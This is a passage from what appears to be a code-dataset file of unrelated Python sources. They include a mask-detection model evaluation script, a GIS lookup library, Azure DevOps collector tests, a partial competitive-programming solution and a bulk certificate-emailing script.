effb7_history_csv.val_loss.min()),max(vgg19_history_csv.loss.max(), vgg19_history_csv.val_loss.max(), mv2_history_csv.loss.max(), mv2_history_csv.val_loss.max(), effb7_history_csv.loss.max(), effb7_history_csv.val_loss.max()))\r\n\r\neffb7_history_csv.plot(x = \"epoch\", y=['loss','val_loss'], ax=ax3, title = 'Training vs Val loss for EfficientNetB7 model')\r\nax3.set_xlabel(\"epoch\")\r\nax3.set_ylabel(\"loss value\")\r\nax3.set_ylim(min(vgg19_history_csv.loss.min(), vgg19_history_csv.val_loss.min(), mv2_history_csv.loss.min(), mv2_history_csv.val_loss.min(),effb7_history_csv.loss.min(), effb7_history_csv.val_loss.min()),max(vgg19_history_csv.loss.max(), vgg19_history_csv.val_loss.max(), mv2_history_csv.loss.max(), mv2_history_csv.val_loss.max(), effb7_history_csv.loss.max(), effb7_history_csv.val_loss.max()))\r\n\r\nvgg19_history_csv.plot(x = \"epoch\", y=['accuracy','val_accuracy'], ax=ax4, title = 'Training vs Val accuracy for VGG19 model')\r\nax4.set_xlabel(\"epoch\")\r\nax4.set_ylabel(\"accuracy value\")\r\nax4.set_ylim(min(vgg19_history_csv.accuracy.min(), vgg19_history_csv.val_accuracy.min(), mv2_history_csv.accuracy.min(), mv2_history_csv.val_accuracy.min(), effb7_history_csv.accuracy.min(), effb7_history_csv.val_accuracy.min()),max(vgg19_history_csv.accuracy.max(), vgg19_history_csv.val_accuracy.max(), mv2_history_csv.accuracy.max(), mv2_history_csv.val_accuracy.max(), effb7_history_csv.accuracy.max(), effb7_history_csv.val_accuracy.max()))\r\nmv2_history_csv.plot(x = \"epoch\", y=['accuracy','val_accuracy'], ax=ax5, title = 'Training vs Val accuracy for MobileNetV2 model')\r\nax5.set_xlabel(\"epoch\")\r\nax5.set_ylabel(\"accuracy value\")\r\nax5.set_ylim(min(vgg19_history_csv.accuracy.min(), vgg19_history_csv.val_accuracy.min(), mv2_history_csv.accuracy.min(), mv2_history_csv.val_accuracy.min(), effb7_history_csv.accuracy.min(), effb7_history_csv.val_accuracy.min()),max(vgg19_history_csv.accuracy.max(), vgg19_history_csv.val_accuracy.max(), mv2_history_csv.accuracy.max(), mv2_history_csv.val_accuracy.max(), effb7_history_csv.accuracy.max(), effb7_history_csv.val_accuracy.max()))\r\neffb7_history_csv.plot(x = \"epoch\", y=['accuracy','val_accuracy'], ax=ax6, title = 'Training vs Val accuracy for EfficientNetb7 model')\r\nax6.set_xlabel(\"epoch\")\r\nax6.set_ylabel(\"accuracy value\")\r\nax6.set_ylim(min(vgg19_history_csv.accuracy.min(), vgg19_history_csv.val_accuracy.min(), mv2_history_csv.accuracy.min(), mv2_history_csv.val_accuracy.min(), effb7_history_csv.accuracy.min(), effb7_history_csv.val_accuracy.min()),max(vgg19_history_csv.accuracy.max(), vgg19_history_csv.val_accuracy.max(), mv2_history_csv.accuracy.max(), mv2_history_csv.val_accuracy.max(), effb7_history_csv.accuracy.max(), effb7_history_csv.val_accuracy.max()))\r\nplt.savefig(args[\"accuracy_loss_plot\"])\r\nplt.show()\r\n\r\n#############################################################################################\r\n\r\n# loading the MobileNetV2 model back\r\nmv2_model = keras.models.load_model(args[\"model2\"])\r\nvgg19_model = keras.models.load_model(args[\"model1\"])\r\neffb7_model = keras.models.load_model(args[\"model3\"])\r\n\r\nX_test = np.load(os.path.join(output_directory, \"X_test.npy\"))\r\nX2_test = np.load(os.path.join(output_directory, \"X2_test.npy\"))\r\nX3_test = np.load(os.path.join(output_directory, \"X3_test.npy\"))\r\ny_test = np.load(os.path.join(output_directory, \"y_test.npy\"))\r\ny2_test = np.load(os.path.join(output_directory, \"y2_test.npy\"))\r\ny3_test = np.load(os.path.join(output_directory, \"y3_test.npy\"))\r\n\r\n# Find the difference between the predicted values count between two models\r\ndef difference_predicted(model1, model2, X1, y1, X2, y2, model1_name, model2_name):\r\n print(\"[INFO] evaluating \"+model1_name+\" model predicted values...\")\r\n m1 = model1.predict(X1, batch_size=64).round()\r\n # for each image in the testing set we need to find the index of the\r\n # label with corresponding largest predicted probability\r\n m1 = np.argmax(m1, axis=1)\r\n print(\"[INFO] evaluating \"+model2_name+\" model predicted values...\")\r\n m2 = model2.predict(X2, batch_size=64).round()\r\n # for each image in the testing set we need to find the index of the\r\n # label with corresponding largest predicted probability\r\n m2 = np.argmax(m2, axis=1)\r\n print(\"Difference between the predicted values of \" +model1_name+\" model and \"+model2_name+\" model are: \" + str(y1.shape[0]-np.count_nonzero(m1 == m2)) + \" in \"+ str(y1.shape[0]) + \" records\")\r\n\r\ndifference_predicted(mv2_model, vgg19_model, X_test, y_test, X2_test, y2_test, \"MobilenetV2\", \"VGG19\")\r\ndifference_predicted(mv2_model, effb7_model, X_test, y_test, X3_test, y3_test, \"MobilenetV2\", \"Efficient Net\")\r\ndifference_predicted(effb7_model, vgg19_model, X3_test, y3_test, X2_test, y2_test, \"Efficient Net\", \"VGG19\")\r\n#############################################################################################\r\n# Evaluate VGG19 model\r\nprint(vgg19_model.evaluate(X2_test, y2_test, batch_size = 64))\r\n\r\n# Evaluate MobileNetV2 model\r\nprint(mv2_model.evaluate(X_test, y_test, batch_size = 64))\r\n\r\n# Evaluate EFFB7 model\r\nprint(effb7_model.evaluate(X3_test, y3_test, batch_size = 64))\r\n###########################################################################################\r\n# Model Prediction for MobileNetV2\r\nmv2_y_pred = mv2_model.predict(X_test)\r\n\r\nfrom sklearn.metrics import accuracy_score\r\nprint(\"Accuracy Score: \",accuracy_score(y_test, mv2_y_pred.round())*100)\r\n\r\nfrom sklearn.metrics import classification_report, confusion_matrix\r\nprint(\"Classification Report: \\n\", classification_report(mv2_y_pred.round(), y_test))\r\n\r\n# Model Prediction for VGG19\r\nvgg19_y_pred = vgg19_model.predict(X2_test)\r\n\r\nfrom sklearn.metrics import accuracy_score\r\nprint(\"Accuracy Score: \",accuracy_score(y2_test, vgg19_y_pred.round())*100)\r\n\r\nfrom sklearn.metrics import classification_report, confusion_matrix\r\nprint(\"Classification Report: \\n\", classification_report(vgg19_y_pred.round(), y2_test))\r\n\r\n# Model Prediction for EFFB7 \r\neffb7_y_pred = effb7_model.predict(X3_test)\r\n\r\nfrom sklearn.metrics import accuracy_score\r\nprint(\"Accuracy Score: \",accuracy_score(y3_test, effb7_y_pred.round())*100)\r\n\r\nfrom sklearn.metrics import classification_report, confusion_matrix\r\nprint(\"Classification Report: \\n\", classification_report(effb7_y_pred.round(), y3_test))\r\n############################################################################################\r\n\r\n# Confusion Matrix - {'No Mask': 0, 'Wrong Mask': 1, 'Mask': 2}\r\nfrom sklearn.metrics import confusion_matrix\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nfig = plt.figure(figsize = (20,5))\r\nax1 = fig.add_subplot(1, 3, 1) # row, column, position\r\nax2 = fig.add_subplot(1, 3, 2) # row, column, position\r\nax3 = fig.add_subplot(1, 3, 3) # row, column, position\r\ncm1 =confusion_matrix(y2_test.argmax(axis=1), vgg19_y_pred.round().argmax(axis=1)) \r\nindex = ['No Mask','Wrong Mask','Mask'] \r\ncolumns = ['No Mask','Wrong Mask','Mask'] \r\ncm_df1 = pd.DataFrame(cm1,columns,index) \r\ncm_df1.index.name = \"vgg19_Actual\"\r\ncm_df1.columns.name = \"vgg19_Predicted\"\r\nax1.set_title(\"VGG19 Model\")\r\n\r\ncm2 =confusion_matrix(y_test.argmax(axis=1), mv2_y_pred.round().argmax(axis=1)) \r\nindex = ['No Mask','Wrong Mask','Mask'] \r\ncolumns = ['No Mask','Wrong Mask','Mask'] \r\ncm_df2 = pd.DataFrame(cm2,columns,index) \r\ncm_df2.index.name = \"mv2_Actual\"\r\ncm_df2.columns.name = \"mv2_Predicted\"\r\nax2.set_title(\"MobileNetV2 Model\")\r\n\r\ncm3 =confusion_matrix(y3_test.argmax(axis=1), effb7_y_pred.round().argmax(axis=1)) \r\nindex = ['No Mask','Wrong Mask','Mask'] \r\ncolumns = ['No Mask','Wrong Mask','Mask'] \r\ncm_df3 = pd.DataFrame(cm3,columns,index) \r\ncm_df3.index.name = \"effb7_Actual\"\r\ncm_df3.columns.name = \"effb7_Predicted\"\r\nax3.set_title(\"EfficientNetB7 Model\")\r\n\r\nsns.heatmap(cm_df1, annot=True, fmt = \".0f\", ax=ax1)\r\nsns.heatmap(cm_df2, annot=True, fmt = \".0f\", ax=ax2)\r\nsns.heatmap(cm_df3, annot=True, fmt = \".0f\", ax=ax3)\r\n\r\nplt.savefig(args[\"confusion_matrix\"])\r\nplt.show()\r\n#######################################################################################\r\n","sub_path":"training_mask_detection.py","file_name":"training_mask_detection.py","file_ext":"py","file_size_in_byte":34261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"92831730","text":"# coding: utf-8\n#\n# Copyright 2019 Geocom Informatik AG / VertiGIS\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"\nThis module can be used to build lookup data structures from Esri tables and feature classes.\n\n.. automethod:: gpf.lookups._process_row\n\"\"\"\n\nimport gpf.common.const as _const\nimport gpf.common.textutils as _tu\nimport gpf.common.validate as _vld\nimport gpf.cursors as _cursors\nimport gpf.tools.geometry as _geo\nimport gpf.tools.metadata as _meta\n\n_DUPEKEYS_ARG = 'duplicate_keys'\n_MUTABLE_ARG = 'mutable_values'\n_ROWFUNC_ARG = 'row_func'\n\n#: The default (Esri-recommended) resolution that is used by the :func:`get_nodekey` function (i.e. for lookups).\n#: If coordinate values fall within this distance, they are considered equal.\n#: Set this to a higher or lower value (coordinate system units) if required.\nXYZ_RESOLUTION = 0.0001\n\n\ndef get_nodekey(*args):\n \"\"\"\n This function creates a hash-like tuple that can be used as a key in a :class:`RowLookup` or\n :class:`ValueLookup` dictionary.\n The tuple does not contain actual hashes, but consists of 2 or 3 (long) integers, which essentially are created by\n dividing the coordinate values by the default resolution (0.0001) and truncating them to an integer.\n\n Whenever a lookup is created using `SHAPE@XY` or `SHAPE@XYZ` as the *key_field*, this function is automatically\n used to generate a key for the coordinate. If the user has a coordinate and wants to find the matching value(s)\n in the lookup, the coordinate must be turned into a key first using this function.\n\n .. note:: The number of dimensions of the coordinate must match the ones in the lookup.\n In other words, when a lookup was built using 2D coordinates, the lookup key must be 2D as well.\n\n .. warning:: This function has been tested on 10 million random points and no duplicate keys were encountered.\n However, bear in mind that 2 nearly identical coordinates might share the same key if they lie\n within the default resolution distance from each other (0.0001 units e.g. meters).\n If the default resolution needs to be changed, set the ``XYZ_RESOLUTION`` constant beforehand.\n\n Example:\n\n >>> coord_lookup = ValueLookup('C:/Temp/test.gdb/my_points', 'SHAPE@XY', 'GlobalID')\n >>> coord = (4.2452, 23.24541)\n >>> key = key(*coord)\n >>> print(key)\n (42451, 232454)\n >>> coord_lookup.get(key)\n '{628ee94d-2063-47be-b57f-8c2af6345d4e}'\n\n :param args: A minimum of 2 numeric values, an EsriJSON dictionary, an ArcPy Point or PointGeometry instance.\n :rtype: tuple\n \"\"\"\n return tuple(int(v / XYZ_RESOLUTION) for v in _geo.get_xyz(*args) if v is not None)\n\n\ndef get_coordtuple(node_key):\n \"\"\"\n This function converts a node key (created by :func:`get_nodekey`) of integer tuples\n back into a floating point coordinate X, Y(, Z) tuple.\n\n .. warning:: This function should **only** be used to generate output for printing/logging purposes or to create\n approximate coordinates. Because :func:`get_nodekey` truncates the coordinate, it is impossible\n to get the same coordinate value back as the one that was used to create the node key, which means\n that some accuracy will be lost in the process.\n\n :param node_key: The node key (tuple of integers) that has to be converted.\n :rtype: tuple\n \"\"\"\n return tuple((v * XYZ_RESOLUTION) for v in node_key)\n\n\n# noinspection PyUnusedLocal\ndef _process_row(lookup, row, **kwargs):\n \"\"\"\n The default row processor function used by the :class:`Lookup` class.\n Alternative row processor functions are implemented by the other lookup classes (e.g. :class:`ValueLookup`).\n\n :param lookup: A reference to the lookup dictionary.\n If the process_row() function is built in to a lookup class, *lookup* refers to *self*.\n :param row: The current row tuple (as returned by a :class:`SearchCursor`).\n :param kwargs: Optional user-defined keyword arguments.\n :rtype: None, str, unicode\n\n .. note:: This \"private\" function is documented here, so that users can see its signature and behaviour.\n However, users should **not** call this function directly, but define their own functions\n based on this one, using the same function signature.\n\n Row processor functions directly manipulate (i.e. populate) the dictionary.\n Typically, this function should at least add a key and value(s) to the *lookup* dictionary.\n\n **A row function should always return ``None``, unless the user wants to terminate the lookup.**\n In that case, a failure reason (message) should be returned.\n \"\"\"\n key, v = row[0], row[1:] if len(row) > 2 else row[1]\n if key is None:\n return\n lookup[key] = v\n\n\nclass Lookup(dict):\n \"\"\"\n Lookup(table_path, key_field, value_field(s), {where_clause}, {**kwargs})\n\n Base class for all lookups.\n\n This class can be instantiated directly, but typically, a user would create a custom lookup class based on\n this one and then override the :func:`Lookup._process_row` method.\n Please refer to other implementations (:class:`RowLookup`, :class:`ValueLookup`) for concrete examples.\n\n **Params:**\n\n - **table_path** (str, unicode):\n\n Full source table or feature class path.\n\n - **key_field** (str, unicode):\n\n The field to use for the lookup dictionary keys.\n If *SHAPE@X[Y[Z]]* is used as the key field, the coordinates are \"hashed\" using the\n :func:`gpf.lookups.get_nodekey` function.\n This means, that the user should use this function as well in order to\n to create a coordinate key prior to looking up the matching value for it.\n\n - **value_fields** (list, tuple, str, unicode):\n\n The field or fields to include as the lookup dictionary value(s), i.e. row.\n This is the value (or tuple of values) that is returned when you perform a lookup by key.\n\n - **where_clause** (str, unicode, :class:`gpf.tools.queries.Where`):\n\n An optional where clause to filter on.\n\n **Keyword params:**\n\n - **row_func**:\n\n If the user wishes to call the standard `Lookup` class but simply wants to use\n a custom row processor function, you can pass in this function using the keyword *row_func*.\n\n :raises RuntimeError: When the lookup cannot be created or populated.\n :raises ValueError: When a specified lookup field does not exist in the source table,\n or when multiple value fields were specified.\n \"\"\"\n\n def __init__(self, table_path, key_field, value_fields, where_clause=None, **kwargs):\n super(dict, self).__init__()\n\n fields = tuple([key_field] + list(value_fields if _vld.is_iterable(value_fields) else (value_fields, )))\n self._hascoordkey = key_field.upper().startswith(_const.FIELD_X)\n self._populate(table_path, fields, where_clause, **kwargs)\n\n @staticmethod\n def _get_fields(table_path):\n \"\"\"\n Gets all field names in the table.\n\n :raises RuntimeError: When the table metadata could not be retrieved.\n :rtype: list\n \"\"\"\n desc = _meta.Describe(table_path)\n _vld.pass_if(desc, RuntimeError, 'Failed to create lookup for {}'.format(_tu.to_repr(table_path)))\n return desc.get_fields(True, True)\n\n @staticmethod\n def _check_fields(user_fields, table_fields):\n \"\"\"\n Checks if the given *user_fields* exist in *table_fields*.\n\n :raises ValueError: When a field does not exist in the source table.\n \"\"\"\n for field in user_fields:\n _vld.pass_if(_const.CHAR_AT in field or field.upper() in table_fields,\n ValueError, 'Field {} does not exist'.format(field))\n\n @staticmethod\n def _has_self(row_func):\n \"\"\" Checks if `func` is an instance method or function and checks if it's a valid row processor. \"\"\"\n if _vld.signature_matches(row_func, Lookup._process_row):\n # row_func is an instance method (signature matches the default self._process_row())\n return True\n elif _vld.signature_matches(row_func, _process_row):\n # row_func is a regular function (signature matches _process_row())\n return False\n else:\n raise ValueError('Row processor function has a bad signature')\n\n def _process_row(self, row, **kwargs):\n \"\"\" Instance method version of the :func:`_process_row` module function. \"\"\"\n return _process_row(self, row, **kwargs)\n\n def _populate(self, table_path, fields, where_clause=None, **kwargs):\n \"\"\" Populates the lookup with data, calling _process_row() on each row returned by the SearchCursor. \"\"\"\n try:\n # Validate fields\n self._check_fields(fields, self._get_fields(table_path))\n\n # Validate row processor function (if any)\n row_func = kwargs.get(_ROWFUNC_ARG, self._process_row)\n has_self = self._has_self(row_func)\n\n with _cursors.SearchCursor(table_path, fields, where_clause) as rows:\n for row in rows:\n failed = row_func(row, **kwargs) if has_self else row_func(self, row, **kwargs)\n if failed:\n raise Exception(failed)\n\n except Exception as e:\n raise RuntimeError('Failed to create {} for {}: {}'.format(self.__class__.__name__,\n _tu.to_repr(table_path), e))\n\n\nclass ValueLookup(Lookup):\n \"\"\"\n ValueLookup(table_path, key_field, value_field, {where_clause}, {duplicate_keys})\n\n Creates a lookup dictionary from a given source table or feature class.\n ValueLookup inherits from ``dict``, so all the built-in dictionary functions\n (:func:`update`, :func:`items` etc.) are available.\n\n When an empty key (``None``) is encountered, the key-value pair will be discarded.\n\n **Params:**\n\n - **table_path** (str, unicode):\n\n Full source table or feature class path.\n\n - **key_field** (str, unicode):\n\n The field to use for the ValueLookup dictionary keys.\n If *SHAPE@X[Y[Z]]* is used as the key field, the coordinates are \"hashed\" using the\n :func:`gpf.lookups.get_nodekey` function.\n This means, that the user should use this function as well in order to\n to create a coordinate key prior to looking up the matching value for it.\n\n - **value_field** (str, unicode):\n\n The single field to include in the ValueLookup dictionary value.\n This is the value that is returned when you perform a lookup by key.\n\n - **where_clause** (str, unicode, :class:`gpf.tools.queries.Where`):\n\n An optional where clause to filter the table.\n\n **Keyword params:**\n\n - **duplicate_keys** (bool):\n\n If ``True``, the ValueLookup allows for duplicate keys in the input.\n The dictionary values will become **lists** of values instead of a **single** value.\n Please note that actual duplicate checks will not be performed. This means, that\n when *duplicate_keys* is ``False`` and duplicates *are* encountered,\n the last existing key-value pair will be overwritten.\n\n :raises RuntimeError: When the lookup cannot be created or populated.\n :raises ValueError: When a specified lookup field does not exist in the source table,\n or when multiple value fields were specified.\n\n .. seealso:: When multiple fields should be stored in the lookup,\n the :class:`gpf.lookups.RowLookup` class should be used instead.\n \"\"\"\n\n def __init__(self, table_path, key_field, value_field, where_clause=None, **kwargs):\n _vld.raise_if(_vld.is_iterable(value_field), ValueError,\n '{} expects a single value field: use {} instead'.format(ValueLookup.__name__,\n RowLookup.__name__))\n _vld.pass_if(all(_vld.has_value(v) for v in (table_path, key_field, value_field)), ValueError,\n '{} requires valid table_path, key_field and value_field arguments'.format(ValueLookup.__name__))\n\n # User cannot override row processor function for this class\n if _ROWFUNC_ARG in kwargs:\n del kwargs[_ROWFUNC_ARG]\n\n self._dupekeys = kwargs.get(_DUPEKEYS_ARG, False)\n super(ValueLookup, self).__init__(table_path, key_field, value_field, where_clause, **kwargs)\n\n def _process_row(self, row, **kwargs):\n \"\"\" Row processor function override. \"\"\"\n key, value = row\n if key is None:\n return\n if self._hascoordkey:\n key = get_nodekey(*key)\n if self._dupekeys:\n v = self.setdefault(key, [])\n v.append(value)\n else:\n self[key] = value\n\n\nclass RowLookup(Lookup):\n \"\"\"\n RowLookup(table_path, key_field, value_fields, {where_clause}, {duplicate_keys}, {mutable_values})\n\n Creates a lookup dictionary from a given table or feature class.\n RowLookup inherits from ``dict``, so all the built-in dictionary functions\n (:func:`update`, :func:`items` etc.) are available.\n\n When an empty key (``None``) is encountered, the key-values pair will be discarded.\n\n **Params:**\n\n - **table_path** (str, unicode):\n\n Full source table or feature class path.\n\n - **key_field** (str, unicode):\n\n The field to use for the RowLookup dictionary keys.\n If *SHAPE@X[Y[Z]]* is used as the key field, the coordinates are \"hashed\" using the\n :func:`gpf.tools.lookup.get_nodekey` function.\n This means, that the user should use this function as well in order to\n to create a coordinate key prior to looking up the matching values for it.\n\n - **value_field** (str, unicode):\n\n The fields to include in the RowLookup dictionary values.\n These are the values that are returned when you perform a lookup by key.\n\n - **where_clause** (str, unicode, :class:`gpf.tools.queries.Where`):\n\n An optional where clause to filter the table.\n\n **Keyword params:**\n\n - **duplicate_keys** (bool):\n\n If ``True``, the RowLookup allows for duplicate keys in the input.\n The values will become **lists** of tuples/lists instead of a **single** tuple/list.\n Please note that duplicate checks will not actually be performed. This means, that\n when *duplicate_keys* is ``False`` and duplicates are encountered,\n the last existing key-value pair will be simply overwritten.\n\n - **mutable_values** (bool):\n\n If ``True``, the RowLookup values are stored as ``list`` objects.\n These are mutable, which means that you can change the values or add new ones.\n The default is ``False``, which causes the RowLookup values to become ``tuple`` objects.\n These are immutable, which consumes less memory and allows for faster retrieval.\n\n :raises RuntimeError: When the lookup cannot be created or populated.\n :raises ValueError: When a specified lookup field does not exist in the source table,\n or when a single value field was specified.\n\n .. seealso:: When a single field value should be stored in the lookup,\n the :class:`gpf.lookups.ValueLookup` class should be used instead.\n \"\"\"\n\n def __init__(self, table_path, key_field, value_fields, where_clause=None, **kwargs):\n _vld.raise_if(len(value_fields) <= 1, ValueError, '{} expects multiple value fields: use {} instead'.format(\n RowLookup.__name__, ValueLookup.__name__))\n _vld.pass_if(all(_vld.has_value(v) for v in (table_path, key_field, value_fields[0])), ValueError,\n '{} requires valid table_path, key_field and value_fields arguments')\n\n # User cannot override row processor function for this class\n if _ROWFUNC_ARG in kwargs:\n del kwargs[_ROWFUNC_ARG]\n\n self._dupekeys = kwargs.get(_DUPEKEYS_ARG, False)\n self._rowtype = list if kwargs.get(_MUTABLE_ARG, False) else tuple\n super(RowLookup, self).__init__(table_path, key_field, value_fields, where_clause, **kwargs)\n\n self._fieldmap = {name.lower(): i for i, name in enumerate(value_fields)}\n\n def _process_row(self, row, **kwargs):\n \"\"\" Row processor function override. \"\"\"\n key, values = row[0], self._rowtype(row[1:])\n if key is None:\n return\n if self._hascoordkey:\n key = get_nodekey(*key)\n if self._dupekeys:\n v = self.setdefault(key, [])\n v.append(values)\n else:\n self[key] = values\n\n def get_value(self, key, field, default=None):\n \"\"\"\n Looks up a value by key for one specific field.\n This function can be convenient when only a single value needs to be retrieved from the lookup.\n The difference with the built-in :func:`get` method is, that the :func:`get_value` function\n returns a single value, whereas the other one returns a list or tuple of values (i.e. row).\n\n Example:\n\n >>> my_lookup = RowLookup('C:/Temp/test.gdb/my_table', 'GlobalID', 'Field1', 'Field2')\n\n >>> # Traditional approach to print Field1:\n >>> values = my_lookup.get('{628ee94d-2063-47be-b57f-8c2af6345d4e}')\n >>> if values:\n >>> print(values[0])\n 'ThisIsTheValueOfField1'\n\n >>> # Alternative traditional approach to print Field1:\n >>> field1, field2 = my_lookup.get('{628ee94d-2063-47be-b57f-8c2af6345d4e}', (None, None))\n >>> if field1:\n >>> print(field1)\n 'ThisIsTheValueOfField1'\n\n >>> # Approach using the get_value() function:\n >>> print(my_lookup.get_value('{628ee94d-2063-47be-b57f-8c2af6345d4e}', 'Field1'))\n 'ThisIsTheValueOfField1'\n\n :param key: Key to find in the lookup dictionary.\n :param field: The field name (as used during initialization of the lookup) for which to retrieve the value.\n :param default: The value to return when the value was not found. Defaults to ``None``.\n :type field: str, unicode\n \"\"\"\n\n row = self.get(key, ())\n try:\n return row[self._fieldmap[field.lower()]]\n except LookupError:\n return default\n\n\nclass NodeSet(set):\n \"\"\"\n Builds a set of unique node keys for coordinates in a feature class.\n The :func:`get_nodekey` function will be used to generate the coordinate hash.\n When the feature class is Z aware, the node keys will be 3D as well.\n Note that in all cases, M will be ignored.\n\n The ``NodeSet`` inherits all methods from the built-in Python ``set``.\n\n For feature classes with a geometry type other than Point, a NodeSet will be built from the first and last\n points in a geometry. If this is not desired (i.e. all coordinates should be included), the user should set\n the *all_vertices* option to ``True``.\n An exception to this behavior is the Multipoint geometry: for this type, all coordinates will always be included.\n\n **Params:**\n\n - **fc_path** (str, unicode):\n\n The full path to the feature class.\n\n - **where_clause** (str, unicode, gpf.tools.queries.Where):\n\n An optional where clause to filter the feature class.\n\n - **all_vertices** (bool):\n\n Defaults to ``False``. When set to ``True``, all geometry coordinates are included.\n Otherwise, only the first and/or last points are considered.\n\n :raises ValueError: If the input dataset is not a feature class or if the geometry type is MultiPatch.\n \"\"\"\n\n def __init__(self, fc_path, where_clause=None, all_vertices=False):\n super(NodeSet, self).__init__()\n self._populate(fc_path, where_clause, all_vertices)\n\n @staticmethod\n def _get_desc(fc_path):\n # Checks if the input dataset is valid and returns its Describe object\n desc = _meta.Describe(fc_path)\n if not desc.shapeType:\n raise ValueError('Input dataset {} is not a feature class'.format(_tu.to_repr(fc_path)))\n if desc.is_multipatchclass:\n raise ValueError('Geometry type of {} is not supported'.format(_tu.to_repr(fc_path)))\n return desc\n\n def _fix_params(self, fc_path, all_vertices):\n \"\"\"\n Returns a tuple of (field, all_vertices) based on the input parameters.\n The shape type of the feature class sets the field name and may override *oll_vertices*.\n \"\"\"\n\n # The fastest way to fetch results is by reading coordinate tuples\n desc = self._get_desc(fc_path)\n field = _const.FIELD_XYZ if desc.hasZ else _const.FIELD_XY\n if not desc.is_pointclass:\n # However, for geometry types other than Point, we need to read the Shape object\n field = _const.FIELD_SHAPE\n if desc.is_multipointclass:\n # Multipoints will be treated differently (always read all vertices)\n all_vertices = True\n\n return field, all_vertices\n\n def _populate(self, fc_path, where_clause, all_vertices):\n \"\"\" Populates the NodeSet with node keys. \"\"\"\n\n field, all_vertices = self._fix_params(fc_path, all_vertices)\n\n # Iterate over all geometries and add keys\n with _cursors.SearchCursor(fc_path, field, where_clause) as rows:\n for shape, in rows:\n # If the geometry is a simple coordinate tuple, immediately add it\n if field.startswith(_const.FIELD_XY):\n self.add(get_nodekey(*shape))\n continue\n\n if all_vertices:\n for coord in _geo.get_vertices(shape):\n self.add(get_nodekey(*coord))\n continue\n\n # When *all_vertices* is False (or the geometry is not a Multipoint), only get the start/end nodes\n self.add(get_nodekey(shape.firstPoint))\n self.add(get_nodekey(shape.lastPoint))\n\n\nclass ValueSet(frozenset):\n \"\"\"\n Builds a set of unique values for a single column in a feature class or table.\n This class inherits all methods from the built-in Python ``frozenset``.\n\n **Params:**\n\n - **table_path** (str, unicode):\n\n The full path to the table or feature class.\n\n - **field** (str, unicode):\n\n The field name for which to collect a set of unique values.\n\n - **where_clause** (str, unicode, gpf.tools.queries.Where):\n\n An optional where clause to filter the feature class.\n \"\"\"\n\n def __new__(cls, table_path, field, where_clause=None):\n # Populate the frozenset\n with _cursors.SearchCursor(table_path, field, where_clause) as rows:\n return super(ValueSet, cls).__new__(cls, (value for value, in rows))\n\n # noinspection PyMissingConstructor, PyUnusedLocal\n def __init__(self, table_path, field, where_clause=None):\n # This override is only required for type hint purposes and to match __new__'s signature\n pass\n","sub_path":"gpf/lookups.py","file_name":"lookups.py","file_ext":"py","file_size_in_byte":24077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"608448806","text":"\"\"\"Unit tests for the Azure Devops Server issues collector.\"\"\"\n\nfrom .base import AzureDevopsTestCase\n\n\nclass AzureDevopsIssuesTest(AzureDevopsTestCase):\n \"\"\"Unit tests for the Azure Devops Server issues metric.\"\"\"\n\n METRIC_TYPE = \"issues\"\n\n async def test_nr_of_issues(self):\n \"\"\"Test that the number of issues is returned.\"\"\"\n response = await self.collect(\n get_request_json_return_value=dict(value=[self.work_item, self.work_item]),\n post_request_json_return_value=dict(workItems=[dict(id=\"id1\"), dict(id=\"id2\")]),\n )\n self.assert_measurement(response, value=\"2\")\n\n async def test_no_issues(self):\n \"\"\"Test zero issues.\"\"\"\n response = await self.collect(post_request_json_return_value=dict(workItems=[]))\n self.assert_measurement(response, value=\"0\", entities=[])\n\n async def test_issues(self):\n \"\"\"Test that the issues are returned.\"\"\"\n response = await self.collect(\n get_request_json_return_value=dict(value=[self.work_item]),\n post_request_json_return_value=dict(workItems=[dict(id=\"id\")]),\n )\n self.assert_measurement(\n response,\n entities=[\n dict(\n key=\"id\",\n project=\"Project\",\n title=\"Title\",\n work_item_type=\"Task\",\n state=\"New\",\n url=self.work_item_url,\n )\n ],\n )\n","sub_path":"components/collector/tests/source_collectors/azure_devops/test_issues.py","file_name":"test_issues.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"538340355","text":"# https://atcoder.jp/contests/abc009/tasks/abc009_4\nimport sys\nsys.setrecursionlimit(2147483647)\nINF=float(\"inf\")\nMOD=10**9+7\ninput=lambda :sys.stdin.readline().rstrip()\ndef resolve():\n def power(b,p,f):\n \"\"\"\n b: object (base)\n p: positive int (multiplier)\n f: multiple function\n return: f^p(b)\n \"\"\"\n if not isinstance(p,int): raise ValueError(\"multiplier must be int\")\n elif p<=0: raise ValueError(\"multiplier must be positive.\")\n logp=p.bit_length()\n S=[0]*logp\n S[0]=b\n res='$'\n for i in range(logp):\n if i!=logp-1: S[i+1]=f(S[i],S[i])\n if p&(1<\"\n msg['To'] = toEmail\n\n body = 'Hi '+toName+', \\n\\nHope you are doing well! Certificates Attached.\\n\\nRegards,\\nMr.X'\n msg.set_content(body)\n\n #Attachments\n with open (attachment,'rb') as f:\n file_data=f.read()\n file_name=f.name\n msg.add_attachment(file_data,maintype='application',subtype='octet-stream',filename=file_name)\n \n #Send Mail\n try:\n with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:\n smtp.login(email, password)\n smtp.send_message(msg)\n print(\"\\nMail sent to \",toName,\"(\",toEmail,\")\",\"\\nFile Attached:\",attachment)\n sent+=1\n except:\n print(\"Error! : Mail not Sent to \",toName,\" \",toEmail)\n failed+=1\n\nprint()\nprint(\"REPORT\")\nprint(\"Successful Mails:\",sent)\nprint(\"Failed:\",failed)\nprint()\n","sub_path":"BulkEmailSend/Send_Emails.py","file_name":"Send_Emails.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"270940737","text":"import module.initial.cfConverter as cvt\nimport module.initial.cfOds as ods\nimport module.initial.cfMysql as mysql\nimport module.process.cfSchedule as 